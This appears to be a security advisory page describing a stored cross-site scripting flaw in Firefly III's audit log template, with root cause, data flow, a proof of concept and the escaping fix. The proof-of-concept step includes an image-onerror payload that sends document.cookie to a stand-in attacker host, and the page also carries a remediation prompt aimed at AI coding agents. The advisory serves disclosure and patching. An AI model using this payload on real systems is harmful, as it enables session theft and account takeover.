# GHSA-6jq6-x4cx-qvcm: Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

> Stored XSS in Firefly III allows attackers to execute arbitrary JavaScript in victims' browsers via malicious piggy bank names, potentially leading to account takeover.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 12 Jun 2026

## What is GHSA-6jq6-x4cx-qvcm?

GHSA-6jq6-x4cx-qvcm is a cross-site scripting vulnerability in grumpydictator/firefly-iii, published on 12 Jun 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.

### Official description

## Summary

The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

## Root Cause

The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.

**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**
```twig
{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}
```

No HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.

## Data Flow

```
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires
```

## CSP Note

The nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely.

## PoC

1. Authenticate as any user
2. `POST /api/v1/piggy-banks` with `"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"`
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit `/transactions/show/{id}` → payload fires

**Confirmed server response (v6.6.2):**
```html
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
```

## Impact

- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations

## Fix

PR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.

```twig
{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}
```

## Which versions are affected by GHSA-6jq6-x4cx-qvcm?

2 open source packages ship an affected version, including grumpydictator/firefly-iii.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `grumpydictator/firefly-iii` | Packagist | All versions | 6.6.3 |
| `grumpydictator/firefly-iii` | Packagist | All versions | 6.6.3 |

## How do I fix GHSA-6jq6-x4cx-qvcm?

Upgrade grumpydictator/firefly-iii to 6.6.3 or later.

## Is GHSA-6jq6-x4cx-qvcm being exploited?

There is no known exploitation of GHSA-6jq6-x4cx-qvcm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-6jq6-x4cx-qvcm and fix it if it is affected.

What it is: GHSA-6jq6-x4cx-qvcm is a cross-site scripting vulnerability in grumpydictator/firefly-iii, published on 12 Jun 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-6jq6-x4cx-qvcm in the wild and no public exploit code.

Affected packages and fixed versions:
- grumpydictator/firefly-iii (Packagist): affected all versions; fixed in 6.6.3
- grumpydictator/firefly-iii (Packagist): affected all versions; fixed in 6.6.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/ (Markdown: https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-6jq6-x4cx-qvcm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/
Summaries are generated and may contain mistakes; the official description above is the record.
